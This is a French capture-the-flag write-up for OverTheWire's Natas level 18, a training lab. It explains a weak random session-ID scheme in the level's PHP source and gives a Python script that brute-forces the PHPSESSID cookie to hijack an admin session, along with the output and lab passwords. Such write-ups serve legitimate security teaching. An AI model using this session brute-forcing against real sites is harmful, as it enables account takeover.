Niveau 18

Natas 18

Level Goal

Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL: http://natas18.natas.labs.overthewire.org

En se connectant à la page du challenge 18 (curl http://natas18.natas.labs.overthewire.org -u natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP) on accède à un formulaire de connexion :

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>

Avec le code source suivant :

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?> 

La manière dont fonctionne ce code est plutôt simple malgré sa longueur :

La faille à exploiter se trouve à la première ligne de code :

$maxid = 640; // 640 should be enough for everyone

et dans la fonction createID() :

function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}

Comme on peut le voir le code utilise les sessions de manière incorrecte : la session utilisateur se voit assigner aléatoirement un nombre compris entre 1 et 640. Cela signifie que si un utilisateur admin est connecté sur le site alors en essayant tous ces numéros de session il est possible d'usurper son identité.

Une fois de plus on peut utiliser Python pour trouver l'identifiant de session via une attaque par force brute :

import requests
import string


def query(session_id):
    response = requests.get(
        "http://natas18.natas.labs.overthewire.org",
        cookies={"PHPSESSID": f"{session_id}"},
        auth=requests.auth.HTTPBasicAuth("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"),
    )
    return response.text


for i in range(1, 641):
    result = query(i)
    if "You are an admin" in result:
        print(result)
        break

Après quelque secondes on obtient le résultat suivant :

Session ID 119
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

L'identifiant de session que l'on devait trouvé était donc 119 et le mot de passe pour la prochaine épreuve est 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs